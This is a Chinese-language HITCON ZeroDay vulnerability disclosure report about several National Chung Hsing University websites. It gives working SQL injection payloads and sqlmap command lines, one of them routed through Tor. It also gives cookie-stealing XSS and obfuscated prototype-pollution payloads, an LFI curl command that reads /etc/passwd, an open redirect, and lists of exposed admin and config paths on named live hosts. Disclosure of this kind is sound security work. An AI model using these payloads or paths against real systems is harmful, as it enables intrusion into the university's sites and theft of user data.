中興大學 網站存在 SQL injection 與 XSS 與原型污染與 LFI 與未驗證的轉址 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2022-00435
  •  發信 Vendor: 國立中興大學
  • Title: 中興大學 網站存在 SQL injection 與 XSS 與原型污染與 LFI 與未驗證的轉址
  • Introduction: 網站存在 SQL injection 與 XSS 與原型污染與 LFI 與未驗證的轉址

處理狀態

目前狀態

公開
Last Update : 2022/09/08
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2022/07/09 08:58:16 : 新提交 (由 BTtea 更新此狀態)
  • 2022/07/09 09:05:58 : 新提交 (由 BTtea 更新此狀態)
  • 2022/07/09 09:09:49 : 新提交 (由 BTtea 更新此狀態)
  • 2022/07/09 09:13:33 : 新提交 (由 BTtea 更新此狀態)
  • 2022/07/10 19:19:18 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/07/11 17:29:42 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/07/11 17:29:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/07/11 17:29:42 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/09/08 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2022-00435
  • 通報者:blacktea_player (BTtea)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://ba.nchu.edu.tw/

http://ai-datasci.nchu.edu.tw/

http://www.pp.nchu.edu.tw/

http://cal.lib.nchu.edu.tw/

https://cah.nchu.edu.tw/study/

https://onepiece.nchu.edu.tw/cofsys/plsql/crseqry_home_now

https://btc.nchu.edu.tw/lib/filedownload.php

https://mewtwo.nchu.edu.tw/enroll/recuerror

https://www.iciil.nchu.edu.tw/

敘述

使用工具 SQLmap 輔助測試

(以下若使用SQLmap工具進行注入時有中斷問題,請去除 --batch 參數後進行注入,遇到詢問連線異常是否繼續測試的訊息請選擇 y )

站點 http://ba.nchu.edu.tw (國立中興大學企業管理學系)

該站點有 xss 注入點會受到原型污染所影響 (jquery版本過低所導致)
xss 原型污染 payload

<sc<script>ript>eval(String.fromCharCode(36,46,101,120,116,101,110,100,40,116,114,117,101,44,123,125,44,74,83,79,78,46,112,97,114,115,101,40,39,123,34,95,95,112,114,111,116,111,95,95,34,58,123,34,122,34,58,49,50,51,125,125,39,41,41,59,97,108,101,114,116,40,122,41,59))</scri</script>pt>

http://ba.nchu.edu.tw/error.php?msg=
GET 參數 msg 存在 XSS 以及可以觸發原型污染
xss payload : <scr<script>ipt>alert(document.cookie)</sc</script>ript>
圖片

站點 http://ai-datasci.nchu.edu.tw (首頁 | 人工智慧與資料科學碩士在職學位學程)

無意義但不應該被存取的站點目錄可能導致資訊洩漏
http://ai-datasci.nchu.edu.tw/phpinfo.php (phpinfo資訊)
http://ai-datasci.nchu.edu.tw/js.php
http://ai-datasci.nchu.edu.tw/global.php
http://ai-datasci.nchu.edu.tw/index.php/login/
http://ai-datasci.nchu.edu.tw/manual/index.html

站點 http://www.pp.nchu.edu.tw (國立中興大學植物病理學系)

無意義但不應該被存取的站點目錄可能導致資訊洩漏或其他危害
http://www.pp.nchu.edu.tw/map.php (phpinfo資訊)
http://www.pp.nchu.edu.tw/dashboard/phpinfo.php (phpinfo資訊)
這兩個網址洩漏目標服務器系統為 windows ,並可以發現是使用 xampp 所架設,而 dashboard/phpinfo.php 目錄位址為 xampp 工具的默認路徑,如果嘗試訪問dashboard默認目錄底下結構,可以發現皆可以受到訪問,如 http://www.pp.nchu.edu.tw/dashboard/zh_tw/index.html
圖片

http://www.pp.nchu.edu.tw/?author=1
發現站點為 wordpress,在網址後方加上參數 author=1 可以用來枚舉用戶
圖片

http://www.pp.nchu.edu.tw/wp-cron.php
此處有提到 wordpress 相關路徑可存取所導致的隱患 https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/wordpress
其中一節有提到
This file usually exists under the root of the Wordpress site: /wp-cron.php
When this file is accessed a "heavy" MySQL query is performed, so I could be used by attackers to cause a DoS.
Also, by default, the wp-cron.php is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS).
過度存取可以造成Dos攻擊

http://www.pp.nchu.edu.tw/cgi-bin/printenv.pl (洩漏環境變數)
http://www.pp.nchu.edu.tw/wp-content/uploads/ (可瀏覽目錄)
http://www.pp.nchu.edu.tw/wp-includes/ (可瀏覽目錄)
http://www.pp.nchu.edu.tw/wp-login.php (wordpress登錄頁面)
http://www.pp.nchu.edu.tw/wp-admin/install.php
http://www.pp.nchu.edu.tw/wp-content/
http://www.pp.nchu.edu.tw/wp-config.php
http://www.pp.nchu.edu.tw/wp-content/ai1wm-backups/
http://www.pp.nchu.edu.tw/wp-content/upgrade/
http://www.pp.nchu.edu.tw/wp-includes/rss-functions.php
http://www.pp.nchu.edu.tw/LICENSE.txt
http://www.pp.nchu.edu.tw/README.html
http://www.pp.nchu.edu.tw/Webalizer/
http://www.pp.nchu.edu.tw/xampp/

站點 http://cal.lib.nchu.edu.tw (中興大學圖書館 - 活動報名系統)

http://cal.lib.nchu.edu.tw/?defcoid=1303
GET 參數 defcoid 存在 SQL injection
圖片
SQLmap 工具測試參數 : python3 sqlmap.py --random-agent -u "http://cal.lib.nchu.edu.tw/?defcoid=1303" --dbs --batch
測試請求遭阻擋,手動測試 SQL payload 語法,語法正確或者條件為 true 會正常顯示頁面,否則會顯示『無已開課程』(false)
取得資料庫名稱長度為6 : ' and (length(database())=6)-- -
資料庫名稱 :
第1個字元為 L : ' and (substring(database(),1,1)=0x4c)-- -
第2個字元為 I : ' and (substring(database(),2,1)=0x49)-- -
第3個字元為 B : ' and (substring(database(),3,1)=0x42)-- -
第4個字元為 R : ' and (substring(database(),4,1)=0x52)-- -
第5個字元為 E : ' and (substring(database(),5,1)=0x45)-- -
第6個字元為 F : ' and (substring(database(),1,1)=0x46)-- -
得到 database() 為 LIBREF
SQL payload : ' and database()='LIBREF'-- -

無意義但不應該被存取的站點目錄可能導致資訊洩漏或其他危害
http://cal.lib.nchu.edu.tw/.gitignore
http://cal.lib.nchu.edu.tw/README
http://cal.lib.nchu.edu.tw/email.php
http://cal.lib.nchu.edu.tw/export
http://cal.lib.nchu.edu.tw:80/include
http://cal.lib.nchu.edu.tw:80/index.php/login/
http://cal.lib.nchu.edu.tw/sample (貌似為測試站點)
http://cal.lib.nchu.edu.tw/style

站點 https://cah.nchu.edu.tw/study (中興大學 自主學習護照)

https://cah.nchu.edu.tw/study/registration.php?sid=220139
GET 參數 sid 存在 SQL injection
圖片
SQLmap 工具測試參數 : python3 sqlmap.py --random-agent -u "https://cah.nchu.edu.tw/study/registration.php?sid=220139" --dbs --batch

https://cah.nchu.edu.tw/study/login_admin.php
post : login=yes&user_type=1&id=1&password=1
POST 參數 id 存在 SQL injection
圖片
SQLmap 工具測試參數 : python3 sqlmap.py --random-agent -u "https://cah.nchu.edu.tw/study/login_admin.php" --data "login=yes&user_type=1&id=1&password=1" -p id --dbs --batch

https://cah.nchu.edu.tw/study/main.php
post : display=false&function=student&action=student&command=list_query&activity_date_start=2022-05-01&activity_date_end=2022-10-03&activity_type=&activity_organizer=AL000+圖書館&activity_name=1
POST 參數 activity_date_start , activity_date_end , activity_type , activity_organizer , activity_name 存在 SQL injection
圖片
SQLmap 工具測試參數 : python3 sqlmap.py --random-agent -u "https://cah.nchu.edu.tw/study/main.php" --data "display=false&function=student&action=student&command=list_query&activity_date_start=2022-05-01&activity_date_end=2022-10-03&activity_type=&activity_organizer=AL000+圖書館&activity_name=1" --dbs --batch
(-p 指定要測試的參數)

無意義但不應該被存取的站點目錄可能導致資訊洩漏或其他危害
https://cah.nchu.edu.tw/phpmyadmin/index.php
https://cah.nchu.edu.tw/phpmyadmin/README
https://cah.nchu.edu.tw/phpmyadmin/doc/html/index.html
https://cah.nchu.edu.tw/phpmyadmin/ChangeLog
https://cah.nchu.edu.tw/study/php.php (phpinfo資訊)
https://cah.nchu.edu.tw/study/login_admin.php (後台)
https://cah.nchu.edu.tw/study/mail.php
https://cah.nchu.edu.tw/study/templates/index.html (洩漏php部份代碼)
https://cah.nchu.edu.tw/study/web.config.bak

站點 https://onepiece.nchu.edu.tw/cofsys/plsql/crseqry_home_now (中興大學課程查詢-系所當學期)

該站點有 xss 注入點會受到原型污染所影響 (jquery版本過低所導致)
xss 原型污染 payload

"><svg/onload=$.extend(true,{},JSON.parse('{"__proto__":{"z":"原型污染"'));alert(z);>

https://onepiece.nchu.edu.tw/cofsys/plsql/crseqry_home_now
post : v_year=&v_career=U&v_excel=0&v_dept=C10&v_level=1&v_lang=中/英文&v_text=1&v_teach=1&v_week=1&v_mtg=1&v_emi=Y
POST 參數 v_year , v_career , v_career , v_lang , v_text , v_teach , v_week , v_mtg , v_emi 存在 XSS 以及可以觸發原型污染
xss payload : "><svg/onload=alert(document.cookie)>
圖片

https://onepiece.nchu.edu.tw/cofsys/plsql/crseqry_all
post : v_year=1111&v_subject=&v_text=123&v_teach=123&v_week=&v_mtg=&v_lang=&v_emi=&v_crseno=123
POST 參數 v_crseno 存在 XSS 以及可以觸發原型污染
xss payload : "><svg/onload=alert(document.cookie)>

https://onepiece.nchu.edu.tw/cofsys/plsql/Syllabus_main_q?v_strm=1111&v_class_nbr=3314
GET 參數 v_strm , v_class_nbr 存在 XSS
xss payload : "><svg/onload=alert(document.cookie)>

https://onepiece.nchu.edu.tw/cofsys/plsql/crseqry_timetable
post : v_dept=C10&v_code=C95&v_year=11113238783107&v_teacher=徐筱玲
POST 參數 v_dept , v_code 存在 XSS 以及可以觸發原型污染
xss payload : "><svg/onload=alert(document.cookie)>

站點 https://btc.nchu.edu.tw/lib/filedownload.php (國立中興大學 - 生物科技發展中心)

https://btc.nchu.edu.tw/lib/filedownload.php?file=../../../etc/passwd&filename=1.txt
GET 參數 file 存在 LFI
測試指令 : curl "https://btc.nchu.edu.tw/lib/filedownload.php?file=../../../etc/passwd&filename=1.txt"
圖片

無意義但不應該被存取的站點目錄可能導致資訊洩漏或其他危害
https://btc.nchu.edu.tw/admin/index.php
https://btc.nchu.edu.tw:443/controlpanel (重導向到 https://btc.nchu.edu.tw:2083/)
https://btc.nchu.edu.tw:443/index.php/login/
https://btc.nchu.edu.tw/mailman/listinfo

站點 https://mewtwo.nchu.edu.tw/enroll/recuerror (國立中興大學|考生資訊系統)

該站點有 xss 注入點會受到原型污染所影響www.iciil.nchu.edu.tw (jquery版本過低所導致)
xss 原型污染 payload

javascript:eval(String.fromCharCode(36,46,101,120,116,101,110,100,40,116,114,117,101,44,123,125,44,74,83,79,78,46,112,97,114,115,101,40,39,123,34,95,95,112,114,111,116,111,95,95,34,58,123,34,122,34,58,49,50,51,125,125,39,41,41,59,97,108,101,114,116,40,122,41,59))

https://mewtwo.nchu.edu.tw/enroll/recuerror?p_error=239&p_button=https://zeroday.hitcon.org/
GET 參數 p_button 存在 XSS , 原型污染以及未驗證的轉址
xss payload : javascript:alert(document.cookie)
載入後點擊下方的『回上頁』即可觸發上述弱點

無意義但不應該被存取的站點目錄可能導致資訊洩漏或其他危害
https://mewtwo.nchu.edu.tw/enroll/null
https://mewtwo.nchu.edu.tw/enroll/recaptcha

站點 https://www.iciil.nchu.edu.tw (國立中興大學 - 創新產業暨國際學院 International College of Innovation and Industry Liaison)

https://www.iciil.nchu.edu.tw/course.php?typesn=10
https://www.iciil.nchu.edu.tw/course_detail.php?sn=1557
GET 參數 typesn , sn 存在 SQL injection
圖片
SQLmap 工具測試參數(typesn) : python3 sqlmap.py --tor --tor-type=SOCKS5 --random-agent -u "https://www.iciil.nchu.edu.tw/course.php?typesn=10" --dbs --batch
SQLmap 工具測試參數(sn) : python3 sqlmap.py --tor --tor-type=SOCKS5 --random-agent -u "https://www.iciil.nchu.edu.tw/course_detail.php?sn=1557" --dbs --batch

由於工具測試不出資料庫版本,我也 fuzzing 不出資料庫,只能附上有效的 SQL payload (兩個參數 paylaod 皆相同)
SQL injection 頁面為 true 狀態 payload

'-- -
' and 1-- -
' and 0=0-- -
' and 'a'='a'-- -
' and '123' like '123'-- -

SQL injection 頁面為 false 狀態 payload

' and 0-- -
' and 0=1-- -
' and 'a'='b'-- -
' and '123' like '1234'-- -

無意義但不應該被存取的站點目錄可能導致資訊洩漏或其他危害
https://www.iciil.nchu.edu.tw/login.htm (後台)
https://www.iciil.nchu.edu.tw/controlpanel (重導向到 https://www.iciil.nchu.edu.tw:2083/)
https://www.iciil.nchu.edu.tw/webmail/src/configtest.php (重導向到 https://www.iciil.nchu.edu.tw:2096/src/configtest.php)
https://www.iciil.nchu.edu.tw:443/db.php (疑似為database相關連結檔案,可能可以利用大量存取該網路路徑,對資料庫造成Dos攻擊)
https://www.iciil.nchu.edu.tw/images/
https://www.iciil.nchu.edu.tw/index.php/login/
https://www.iciil.nchu.edu.tw/mailman/listinfo/
https://www.iciil.nchu.edu.tw/program/
https://www.iciil.nchu.edu.tw/test1.php (log紀錄,如可登錄後台,有機會造成 getshell)

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;